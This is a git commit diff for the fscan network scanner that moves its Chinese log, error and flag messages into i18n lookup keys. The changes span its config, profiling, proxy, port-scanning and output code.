Expand i18n coverage

This commit is contained in:
ZacharyZcR
2026-05-23 15:18:40 +08:00
parent 9ed6cc95b6
commit 73cbe803c4
79 changed files with 2540 additions and 621 deletions
+6 -5
View File
@@ -8,6 +8,7 @@ import (
"strings"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
)
@@ -28,12 +29,12 @@ func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
// 3. 解析凭据
if err := parseCredentials(fv, cfg); err != nil {
return nil, nil, fmt.Errorf("凭据解析失败: %w", err)
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
}
// 4. 解析目标(主机、端口、URL)
if err := parseTargets(fv, info, cfg, state); err != nil {
return nil, nil, fmt.Errorf("目标解析失败: %w", err)
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
}
// 5. 应用日志级别
@@ -101,7 +102,7 @@ func parseUsernames(fv *FlagVars) []string {
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
usernames = append(usernames, lines...)
} else {
LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err))
LogError(i18n.Tr("config_read_users_failed", fv.UsersFile, err))
}
}
@@ -131,7 +132,7 @@ func parsePasswords(fv *FlagVars) []string {
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
passwords = append(passwords, lines...)
} else {
LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err))
LogError(i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
}
}
@@ -251,7 +252,7 @@ func parseURLs(fv *FlagVars) []string {
urls = append(urls, normalizeURL(line))
}
} else {
LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err))
LogError(i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
}
}
+24 -22
View File
@@ -9,6 +9,8 @@ import (
"runtime"
"runtime/pprof"
"runtime/trace"
"github.com/shadow1ng/fscan/common/i18n"
)
var (
@@ -19,82 +21,82 @@ var (
func Start() {
if err := os.MkdirAll(profilesPath, 0755); err != nil {
fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
return
}
var err error
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
} else {
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
cpuProfile.Close()
cpuProfile = nil
} else {
fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
}
}
traceFile, err = os.Create(profilesPath + "/trace.out")
if err != nil {
fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
} else {
if err := trace.Start(traceFile); err != nil {
fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
traceFile.Close()
traceFile = nil
} else {
fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
}
}
fmt.Printf("[DEBUG] 性能分析已启动,程序结束时自动保存到 %s/\n", profilesPath)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
}
func Stop() {
if cpuProfile != nil {
pprof.StopCPUProfile()
cpuProfile.Close()
fmt.Printf("[DEBUG] CPU profile 已保存\n")
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
}
if traceFile != nil {
trace.Stop()
traceFile.Close()
fmt.Printf("[DEBUG] Trace 已保存\n")
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
}
memProfile, err := os.Create(profilesPath + "/mem.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
} else {
runtime.GC()
if err := pprof.WriteHeapProfile(memProfile); err != nil {
fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
} else {
fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
}
memProfile.Close()
}
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
} else {
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
} else {
fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath)
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
}
goroutineProfile.Close()
}
fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath)
fmt.Printf("[DEBUG] 查看方法:\n")
fmt.Printf(" CPU 火焰图: go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath)
fmt.Printf(" 内存火焰图: go tool pprof -http=:8081 %s/mem.prof\n", profilesPath)
fmt.Printf(" 协程分析: go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath)
fmt.Printf(" 执行时间线: go tool trace %s/trace.out\n", profilesPath)
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
}
+7 -3
View File
@@ -2,7 +2,11 @@
package common
import "flag"
import (
"flag"
"github.com/shadow1ng/fscan/common/i18n"
)
// WebMode 表示是否启动Web管理界面
var WebMode bool
@@ -11,6 +15,6 @@ var WebMode bool
var WebPort int
func init() {
flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)")
flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)")
flag.BoolVar(&WebMode, "web", false, i18n.GetText("flag_web_mode"))
flag.IntVar(&WebPort, "webport", 10240, i18n.GetText("flag_web_port"))
}
+4 -2
View File
@@ -5,6 +5,8 @@ import (
"fmt"
"strings"
"sync"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
@@ -92,9 +94,9 @@ type PacketLimitError struct {
func (e *PacketLimitError) Error() string {
if e.Sentinel == ErrMaxPacketReached {
return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit)
return i18n.Tr("packet_limit_max_reached", e.Limit)
}
return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit)
return i18n.Tr("packet_limit_rate_limited", e.Limit)
}
func (e *PacketLimitError) Unwrap() error {
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+4 -4
View File
@@ -30,7 +30,7 @@ func Initialize(info *HostInfo) (*InitResult, error) {
// 2. 从 FlagVars 构建 Config 和 State
cfg, state, err := BuildConfig(GetFlagVars(), info)
if err != nil {
return nil, fmt.Errorf("配置构建失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err)
}
// 3. 设置全局实例
@@ -39,7 +39,7 @@ func Initialize(info *HostInfo) (*InitResult, error) {
// 4. 初始化输出系统
if err := InitOutput(); err != nil {
return nil, fmt.Errorf("输出初始化失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err)
}
session := NewScanSession(cfg, state, GetFlagVars())
@@ -67,7 +67,7 @@ func ValidateExclusiveParams(info *HostInfo) error {
if fv.TargetURL != "" {
paramCount++
if activeParam != "" {
activeParam += " 和 -u"
activeParam = i18n.Tr("param_join_and", activeParam, "-u")
} else {
activeParam = "-u"
}
@@ -75,7 +75,7 @@ func ValidateExclusiveParams(info *HostInfo) error {
if fv.LocalPlugin != "" {
paramCount++
if activeParam != "" {
activeParam += " 和 -local"
activeParam = i18n.Tr("param_join_and", activeParam, "-local")
} else {
activeParam = "-local"
}
+5 -5
View File
@@ -16,8 +16,8 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/common/proxy"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
@@ -109,14 +109,14 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
// 检查发包限制 - 在代理连接前进行控制
if canSend, reason := CanSendPacket(); !canSend {
LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason))
LogError(i18n.Tr("tcp_connection_restricted", address, reason))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
}
// 获取全局拨号器(复用,避免重复创建)
dialer, err := getGlobalDialer(timeout)
if err != nil {
LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
LogError(i18n.Tr("proxy_dialer_failed", err))
GetGlobalState().IncrementTCPFailedPacketCount()
return nil, err
}
@@ -127,7 +127,7 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.
// 统计TCP包数量 - 无论是否使用代理都要计数
if err != nil {
GetGlobalState().IncrementTCPFailedPacketCount()
LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
LogDebug(i18n.Tr("connection_failed", address, err))
return nil, err
}
@@ -166,7 +166,7 @@ func IsSOCKS5Proxy() bool {
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
// 检查发包限制
if canSend, reason := CanSendPacket(); !canSend {
LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason))
LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
}
+7 -5
View File
@@ -9,6 +9,8 @@ import (
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// escapeControlChars 转义控制字符
@@ -112,13 +114,13 @@ func (w *TXTWriter) Write(result *ScanResult) error {
func (w *TXTWriter) getSeparator(newType ResultType) string {
switch newType {
case TypeHost:
return "# ===== 存活主机 ====="
return i18n.GetText("output_section_hosts")
case TypePort:
return "# ===== 开放端口 ====="
return i18n.GetText("output_section_ports")
case TypeService:
return "# ===== 服务信息 ====="
return i18n.GetText("output_section_services")
case TypeVuln:
return "# ===== 漏洞信息 ====="
return i18n.GetText("output_section_vulns")
default:
return "# ===================="
}
@@ -376,7 +378,7 @@ func (w *TXTWriter) writeWebServices() {
return
}
_, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n")
_, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n")
for _, url := range urls {
_, _ = w.bufWriter.WriteString(url + "\n")
}
+8 -6
View File
@@ -221,7 +221,7 @@ func (pm *ProgressManager) generateProgressBar() string {
if pm.total == 0 {
spinner := pm.getActivityIndicator()
base := fmt.Sprintf("%s %s 等待中...", pm.description, spinner)
base := fmt.Sprintf("%s %s %s", pm.description, spinner, i18n.GetText("progress_waiting"))
if packetInfo != "" {
return base + " " + packetInfo
}
@@ -319,13 +319,15 @@ func (pm *ProgressManager) showCompletionInfo() {
fmt.Print("\n")
completionMsg := i18n.GetText("progress_scan_completed")
doneMsg := i18n.GetText("progress_done")
durationMsg := i18n.GetText("progress_duration")
if pm.noColor {
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
fmt.Printf("[%s] %s %d/%d (%s: %s)\n",
doneMsg, completionMsg, pm.total, pm.total, durationMsg, formatDuration(elapsed))
} else {
fmt.Printf("%s[完成] %s %d/%d%s %s(耗时: %s)%s\n",
AnsiGreen, completionMsg, pm.total, pm.total, AnsiReset,
AnsiGray, formatDuration(elapsed), AnsiReset)
fmt.Printf("%s[%s] %s %d/%d%s %s(%s: %s)%s\n",
AnsiGreen, doneMsg, completionMsg, pm.total, pm.total, AnsiReset,
AnsiGray, durationMsg, formatDuration(elapsed), AnsiReset)
}
}
+18 -16
View File
@@ -2,6 +2,8 @@ package proxy
import (
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
@@ -151,41 +153,41 @@ const (
// 错误消息常量
// =============================================================================
const (
var (
// ErrMsgUnsupportedProxyType Manager错误消息 - 不支持的代理类型
ErrMsgUnsupportedProxyType = "不支持的代理类型"
ErrMsgUnsupportedProxyType = i18n.GetText("proxy_unsupported_type")
// ErrMsgEmptyConfig 配置不能为空
ErrMsgEmptyConfig = "配置不能为空"
ErrMsgEmptyConfig = i18n.GetText("proxy_empty_config")
// ErrMsgSOCKS5ParseFailed SOCKS5错误消息 - 地址解析失败
ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
ErrMsgSOCKS5ParseFailed = i18n.GetText("proxy_socks5_parse_failed")
// ErrMsgSOCKS5CreateFailed 拨号器创建失败
ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
ErrMsgSOCKS5CreateFailed = i18n.GetText("proxy_socks5_create_failed")
// ErrMsgSOCKS5ConnTimeout 连接超时
ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
ErrMsgSOCKS5ConnTimeout = i18n.GetText("proxy_socks5_conn_timeout")
// ErrMsgSOCKS5ConnFailed 连接失败
ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
ErrMsgSOCKS5ConnFailed = i18n.GetText("proxy_socks5_conn_failed")
// ErrMsgDirectConnFailed 直连错误消息 - 直连失败
ErrMsgDirectConnFailed = "直连失败"
ErrMsgDirectConnFailed = i18n.GetText("proxy_direct_conn_failed")
// ErrMsgHTTPConnFailed HTTP代理错误消息 - 连接失败
ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
ErrMsgHTTPConnFailed = i18n.GetText("proxy_http_conn_failed")
// ErrMsgHTTPSetWriteTimeout 设置写超时失败
ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
ErrMsgHTTPSetWriteTimeout = i18n.GetText("proxy_http_set_write_timeout")
// ErrMsgHTTPSendConnectFail 发送CONNECT请求失败
ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
ErrMsgHTTPSendConnectFail = i18n.GetText("proxy_http_send_connect_failed")
// ErrMsgHTTPSetReadTimeout 设置读超时失败
ErrMsgHTTPSetReadTimeout = "设置读超时失败"
ErrMsgHTTPSetReadTimeout = i18n.GetText("proxy_http_set_read_timeout")
// ErrMsgHTTPReadRespFailed 读取响应失败
ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
ErrMsgHTTPReadRespFailed = i18n.GetText("proxy_http_read_response_failed")
// ErrMsgHTTPProxyAuthFailed 代理认证失败
ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d"
ErrMsgHTTPProxyAuthFailed = i18n.GetText("proxy_http_status_failed")
// ErrMsgTLSTCPConnFailed TLS错误消息 - TCP连接失败
ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
ErrMsgTLSTCPConnFailed = i18n.GetText("proxy_tls_tcp_conn_failed")
// ErrMsgTLSHandshakeFailed TLS握手失败
ErrMsgTLSHandshakeFailed = "TLS握手失败"
ErrMsgTLSHandshakeFailed = i18n.GetText("proxy_tls_handshake_failed")
)
// =============================================================================
+4 -4
View File
@@ -93,14 +93,14 @@ func (s *ScanSession) LogError(errMsg string) {
func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) {
// 检查发包限制
if ok, err := CanSendPacketWith(s.Config, s.State); !ok {
s.LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error()))
s.LogError(i18n.Tr("tcp_connection_restricted", address, err.Error()))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error()))
}
// 获取 dialer
dialer, err := s.getDialer(timeout)
if err != nil {
s.LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
s.LogError(i18n.Tr("proxy_dialer_failed", err))
s.State.IncrementTCPFailedPacketCount()
return nil, err
}
@@ -108,7 +108,7 @@ func (s *ScanSession) DialTCP(ctx context.Context, network, address string, time
conn, err := dialer.DialContext(ctx, network, address)
if err != nil {
s.State.IncrementTCPFailedPacketCount()
s.LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
s.LogDebug(i18n.Tr("connection_failed", address, err))
return nil, err
}
@@ -141,7 +141,7 @@ func (s *ScanSession) DialUDP(ctx context.Context, address string, timeout time.
// HTTPDo executes an HTTP request with the session's packet limits and counters.
func (s *ScanSession) HTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
if ok, err := CanSendPacketWith(s.Config, s.State); !ok {
s.LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), err.Error()))
s.LogError(i18n.Tr("http_request_restricted", req.URL.String(), err.Error()))
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error()))
}
+2 -1
View File
@@ -8,6 +8,7 @@ import (
"github.com/panjf2000/ants/v2"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
)
// AdaptivePool 自适应线程池
@@ -106,7 +107,7 @@ func (ap *AdaptivePool) maybeAdjust() {
newSize = ap.minSize
}
ap.tune(newSize)
common.LogInfo(fmt.Sprintf("[AdaptivePool] 资源耗尽率 %.1f%%, 线程数 %d -> %d", rate*100, currentSize, newSize))
common.LogInfo(i18n.Tr("adaptive_pool_resource_exhausted", fmt.Sprintf("%.1f", rate*100), currentSize, newSize))
} else if rate < ap.recoveryThreshold && currentSize < ap.maxSize {
// 恢复:增加 10% 线程(保守恢复)
newSize := int(float64(currentSize) * 1.1)
+1 -1
View File
@@ -38,7 +38,7 @@ type AliveStats struct {
// NewAliveScanStrategy 创建新的存活探测扫描策略
func NewAliveScanStrategy() *AliveScanStrategy {
return &AliveScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("存活探测", FilterNone),
BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_alive_name"), FilterNone),
startTime: time.Now(),
}
}
+1 -1
View File
@@ -206,7 +206,7 @@ func formatPluginList(plugins []string) string {
if len(plugins) <= 5 {
return strings.Join(plugins, ", ")
}
return fmt.Sprintf("%s ... 等%d个", strings.Join(plugins[:5], ", "), len(plugins))
return i18n.Tr("plugin_list_summary", strings.Join(plugins[:5], ", "), len(plugins))
}
// ValidateConfiguration 验证扫描配置
+3 -4
View File
@@ -286,13 +286,13 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M
// 条件1:所有主机都已响应,立即结束
if aliveCount >= totalHosts {
common.LogDebug(fmt.Sprintf("[ICMP] 全部响应,耗时 %v", elapsed.Round(time.Millisecond)))
common.LogDebug(i18n.Tr("icmp_debug_all_responded", elapsed.Round(time.Millisecond)))
break
}
// 条件2:超过最大等待时间,兜底结束
if elapsed >= maxWait {
common.LogDebug(fmt.Sprintf("[ICMP] 达到最大等待时间 %v,存活 %d/%d", maxWait, aliveCount, totalHosts))
common.LogDebug(i18n.Tr("icmp_debug_max_wait", maxWait, aliveCount, totalHosts))
break
}
@@ -305,8 +305,7 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M
lastAliveCount = aliveCount
} else if time.Since(lastChangeTime) >= icmpStableThreshold {
// 连续 500ms 没有新响应,认为响应已稳定,提前结束
common.LogDebug(fmt.Sprintf("[ICMP] 响应稳定,提前结束,耗时 %v,存活 %d/%d",
elapsed.Round(time.Millisecond), aliveCount, totalHosts))
common.LogDebug(i18n.Tr("icmp_debug_stable_done", elapsed.Round(time.Millisecond), aliveCount, totalHosts))
break
}
} else {
+1 -1
View File
@@ -17,7 +17,7 @@ type LocalScanStrategy struct {
// NewLocalScanStrategy 创建新的本地扫描策略
func NewLocalScanStrategy() *LocalScanStrategy {
return &LocalScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("本地扫描", FilterLocal),
BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_local_name"), FilterLocal),
}
}
+22 -22
View File
@@ -35,7 +35,8 @@ var resourceExhaustedPatterns = []string{
"no buffer space available",
"cannot assign requested address",
"connection reset by peer",
"发包受限",
i18n.GetText("network_rate_limited_pattern"),
"rate limited",
}
// closedPatterns 连接已关闭的错误模式
@@ -143,7 +144,7 @@ func (f *failedPortCollector) Count() int {
func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string {
config := session.Config
state := session.State
session.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum))
session.LogDebug(i18n.Tr("port_scan_debug_start", len(hosts), config.ThreadNum))
// 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段
if len(hosts) > subnetProbeThreshold {
@@ -166,7 +167,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout
}
return nil
}
session.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList)))
session.LogDebug(i18n.Tr("port_scan_debug_ports_parsed", len(portList)))
// 使用config中的排除端口配置
excludePorts := parsers.ParsePort(config.Target.ExcludePorts)
@@ -177,34 +178,34 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout
// 检查代理可靠性,如果存在全回显问题则警告
if session.ProxyEnabled() && !session.ProxyReliable() {
session.LogError("检测到代理存在全回显问题,端口扫描结果可能不准确")
session.LogError(i18n.GetText("proxy_echo_warning"))
}
// 创建流式迭代器(O(1) 内存,端口喷洒策略)
iter := NewSocketIterator(hosts, portList, exclude)
totalTasks := iter.Total()
session.LogDebug(fmt.Sprintf("[PortScan] 总任务数: %d", totalTasks))
session.LogDebug(i18n.Tr("port_scan_debug_total_tasks", totalTasks))
// 使用传入的配置
threadNum := config.ThreadNum
// 大规模扫描警告和线程数自动调整
if totalTasks > 100000 {
session.LogInfo(fmt.Sprintf("大规模扫描: %d 个目标 (%d主机 × %d端口)", totalTasks, len(hosts), len(portList)))
session.LogInfo(i18n.Tr("large_scan_notice", totalTasks, len(hosts), len(portList)))
// 如果任务数超过100万且线程数大于300,自动降低线程数
if totalTasks > 1000000 && threadNum > 300 {
oldThreadNum := threadNum
threadNum = 300
session.LogInfo(fmt.Sprintf("自动调整线程数: %d -> %d (大规模扫描优化)", oldThreadNum, threadNum))
session.LogInfo(i18n.Tr("large_scan_thread_adjusted", oldThreadNum, threadNum))
}
}
// 初始化端口扫描进度条
if totalTasks > 0 && config.Output.ShowProgress {
description := fmt.Sprintf("端口扫描中(%d线程)", threadNum)
description := i18n.Tr("port_scan_progress_description", threadNum)
common.InitProgressBar(int64(totalTasks), description)
}
session.LogDebug("[PortScan] 进度条初始化完成")
session.LogDebug(i18n.GetText("port_scan_debug_progress_ready"))
// 初始化并发控制
to := time.Duration(timeout) * time.Second
@@ -214,7 +215,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout
failedCollector := &failedPortCollector{}
var wg sync.WaitGroup
session.LogDebug(fmt.Sprintf("[PortScan] 开始创建线程池, size=%d", threadNum))
session.LogDebug(i18n.Tr("port_scan_debug_pool_create", threadNum))
// 创建自适应线程池(支持动态调整)
pool, err := NewAdaptivePool(threadNum, func(task interface{}) {
taskInfo, ok := task.(portScanTask)
@@ -236,13 +237,13 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout
}
return nil
}
session.LogDebug("[PortScan] 线程池创建成功")
session.LogDebug(i18n.GetText("port_scan_debug_pool_created"))
defer pool.Release()
session.LogDebug("[PortScan] 开始滑动窗口调度")
session.LogDebug(i18n.GetText("port_scan_debug_schedule_start"))
// 滑动窗口调度:维护固定数量的"飞行中"任务
slidingWindowSchedule(iter, pool, &wg, threadNum)
session.LogDebug("[PortScan] 滑动窗口调度完成")
session.LogDebug(i18n.GetText("port_scan_debug_schedule_done"))
// 收集结果
aliveAddrs := collector.GetAll()
@@ -467,7 +468,7 @@ func scanSinglePort(ctx context.Context, host string, port int, addr string, ada
// 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题)
valid, verifyMethod := verifyProxyConnectionDeep(conn, addr, session)
if !valid {
session.LogDebug(fmt.Sprintf("代理验证失败 %s: %s", addr, verifyMethod))
session.LogDebug(i18n.Tr("proxy_verify_failed", addr, verifyMethod))
_ = conn.Close()
return
}
@@ -541,7 +542,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS
if n > 0 {
if isProxyErrorResponse(buf[:n]) {
common.LogDebug(fmt.Sprintf("代理返回错误响应 %s", addr))
common.LogDebug(i18n.Tr("proxy_error_response", addr))
return false, "proxy_error"
}
return true, "banner"
@@ -558,7 +559,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS
_ = conn.SetWriteDeadline(time.Time{})
if writeErr != nil && isConnectionClosed(writeErr) {
common.LogDebug(fmt.Sprintf("探测写入失败 %s: %v", addr, writeErr))
common.LogDebug(i18n.Tr("proxy_probe_write_failed", addr, writeErr))
return false, "write_failed"
}
@@ -570,7 +571,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS
if n > 0 {
if isProxyErrorResponse(buf[:n]) {
common.LogDebug(fmt.Sprintf("代理探测返回错误 %s", addr))
common.LogDebug(i18n.Tr("proxy_probe_error_response", addr))
return false, "proxy_error"
}
return true, "probe"
@@ -581,7 +582,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS
errStr := readErr.Error()
for _, pattern := range proxyFailurePatterns {
if containsFold(errStr, pattern) {
common.LogDebug(fmt.Sprintf("代理连接被拒绝 %s: %v", addr, readErr))
common.LogDebug(i18n.Tr("proxy_connection_rejected", addr, readErr))
return false, "proxy_reject"
}
}
@@ -591,7 +592,7 @@ func verifyProxyConnectionDeep(conn net.Conn, addr string, session *common.ScanS
// 在透明代理环境下,ProxyReliable 检测可能被污染,不可信
// 因此采用更保守的策略:无响应一律判定为关闭
// 这样可以避免透明代理导致的全端口误报问题
common.LogDebug(fmt.Sprintf("代理连接无响应,判定为端口关闭 %s", addr))
common.LogDebug(i18n.Tr("proxy_no_response_closed", addr))
return false, "no_response"
}
@@ -790,7 +791,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se
return hosts
}
session.LogInfo(fmt.Sprintf("网段预筛: %d 个 /24 子网, %d 个主机", len(subnets), len(hosts)))
session.LogInfo(i18n.Tr("subnet_prefilter_start", len(subnets), len(hosts)))
aliveSubnets := sync.Map{}
var wg sync.WaitGroup
@@ -872,8 +873,7 @@ done:
}
skipped := len(subnets) - aliveCount
session.LogInfo(fmt.Sprintf("网段预筛完成: %d 个存活 (网关命中 %d), %d 个跳过, 剩余 %d 主机",
aliveCount, gwHits, skipped, len(result)))
session.LogInfo(i18n.Tr("subnet_prefilter_done", aliveCount, gwHits, skipped, len(result)))
return result
}
+3 -1
View File
@@ -4,6 +4,8 @@ import (
"fmt"
"regexp"
"strings"
"github.com/shadow1ng/fscan/common/i18n"
)
// BytesToRegexSafeString 将字节切片转换为 Go regexp 安全的正则表达式模式字符串
@@ -43,7 +45,7 @@ func (p *Probe) parseMatchDirective(data, prefix string, isSoft bool) (Match, er
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的%s指令格式", prefix)
return match, fmt.Errorf("%s", i18n.Tr("portfinger_match_directive_invalid", prefix))
}
pattern := textSplited[0]
+8 -6
View File
@@ -4,6 +4,8 @@ import (
"fmt"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common/i18n"
)
// 解析指令语法,返回指令结构
@@ -37,12 +39,12 @@ func (p *Probe) parseProbeInfo(probeStr string) error {
// 验证协议类型
if proto != "TCP " && proto != "UDP " {
return fmt.Errorf("探测器协议必须是 TCP 或 UDP")
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid"))
}
// 验证其他信息不为空
if len(other) == 0 {
return fmt.Errorf("nmap-service-probes - 探测器名称无效")
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_name_invalid"))
}
// 解析指令
@@ -64,7 +66,7 @@ func (p *Probe) fromString(data string) error {
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
return fmt.Errorf("%s", i18n.GetText("portfinger_input_empty"))
}
probeStr := lines[0]
